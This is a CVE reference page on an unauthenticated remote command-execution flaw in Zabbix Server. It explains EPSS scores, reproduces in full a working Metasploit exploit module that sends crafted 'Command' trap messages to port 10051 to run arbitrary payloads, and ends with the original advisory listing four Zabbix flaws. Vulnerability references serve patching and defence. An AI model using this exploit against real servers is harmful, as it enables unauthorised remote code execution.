CVE-2009-4498 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Zabbix Server Arbitrary Command Execution', 'Description' => %q{ This module abuses the "Command" trap in Zabbix Server to execute arbitrary commands without authentication. By default the Node ID "0" is used, if it doesn't work, the Node ID is leaked from the error message and exploitation retried. According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04. }, 'Author' => [ 'Nicob <nicob[at]nicob.net>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-4498' ], [ 'OSVDB', '60965' ], [ 'BID', '37989' ], [ 'EDB', '10432' ], [ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet', # *_perl, *_python and *_ruby work if they are installed } }, 'Targets' => [ [ 'Zabbix 1.6.7', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 10 2009' )) register_options( [ Opt::RPORT(10051), ], self.class) end def send_command(sock, node_id, cmd) host_id = Rex::Text.rand_text_numeric(3) msg = "Command\255" msg << "#{node_id}\255" msg << "#{host_id}\255" msg << "#{cmd}\n" sock.put(msg) res = sock.get_once return res end def check peer = "#{rhost}:#{rport}" node_id = 0 clue = Rex::Text.rand_text_alpha(rand(5)+5) cmd = "echo #{clue}" connect print_status("#{peer} - Sending 'Command' request...") res = send_command(sock, node_id, cmd) disconnect if res print_status(res) if res =~ /#{clue}/ return Exploit::CheckCode::Vulnerable elsif res =~ /-1/ and res=~ /NODE (\d*)/ node_id = $1 print_good("#{peer} - Node ID #{node_id} discovered") else return Exploit::CheckCode::Safe end else # No response return Exploit::CheckCode::Safe end # Retry with the good node_id connect print_status("#{peer} - Sending 'Command' request with discovered Node ID...") res = send_command(sock, node_id, cmd) disconnect if res and res =~ /#{clue}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit peer = "#{rhost}:#{rport}" node_id = 0 cmd = payload.encoded connect print_status("#{peer} - Sending 'Command' request...") res = send_command(sock, node_id, cmd) disconnect if res and res =~ /-1/ and res=~ /NODE (\d*)/ # Retry with the good node_id node_id = $1 print_good("#{peer} - Node ID #{node_id} discovered") connect print_status("#{peer} - Sending 'Command' request with discovered Node ID...") res = send_command(sock, node_id, cmd) disconnect end # Read command output from socket if cmd/unix/generic payload was used if (datastore['CMD']) if res and res =~ /\x30\xad/ print_good("#{peer} - Command executed successfully") print_status("Output:\n#{res.split("\x30\xad").last}") else print_error("#{peer} - Failed to execute the command") end end end end

Zabbix Server : Multiple remote vulnerabilities From: Nicob <nicob () nicob net> Date: Sun, 13 Dec 2009 16:28:35 +0100 From Wikipedia : "Zabbix is a network management system application [...] designed to monitor and track the status of various network services, servers, and other network hardware." [Zabbix Server : Remote command execution] Impacted software : Zabbix Server Zabbix reference : https://support.zabbix.com/browse/ZBX-1030 Patched version : 1.8 Faulty source code : function node_process_command() in zabbix_server/trapper/nodecommand.c Changelog entry : fixed security vulnerability in server allowing remote unauthenticated users to execute scripts [Zabbix Server : Remote SQL execution] Impacted software : Zabbix Server Zabbix reference : https://support.zabbix.com/browse/ZBX-1031 Patched version : 1.6.8 (patch for 1.6.7 was insufficient) Faulty source code : function send_history_last_id() in zabbix_server/trapper/nodehistory.c Changelog entry (1.6.7) : fixed security vulnerability in server, allowing remote unauthenticated users to execute arbitrary SQL queries Changelog entry (1.6.8) : added more security checks for communication between nodes [Zabbix Server : Remote DoS (NULL deref)] Impacted software : Zabbix Server Zabbix reference : https://support.zabbix.com/browse/ZBX-993 Patched version : 1.6.6 Faulty source code : function process_trap() in zabbix_server/trapper/trapper.c Changelog entry : fixed possible vulnerability of trapper [Zabbix Server : Remote DoS (NULL deref)] Impacted software : Zabbix Server Zabbix reference : https://support.zabbix.com/browse/ZBX-1355 Patched version : 1.6.8 Faulty source code : function zbx_get_next_field() in libs/zbxcommon/str.c Changelog entry : fixed possible server crash when receiving invalid data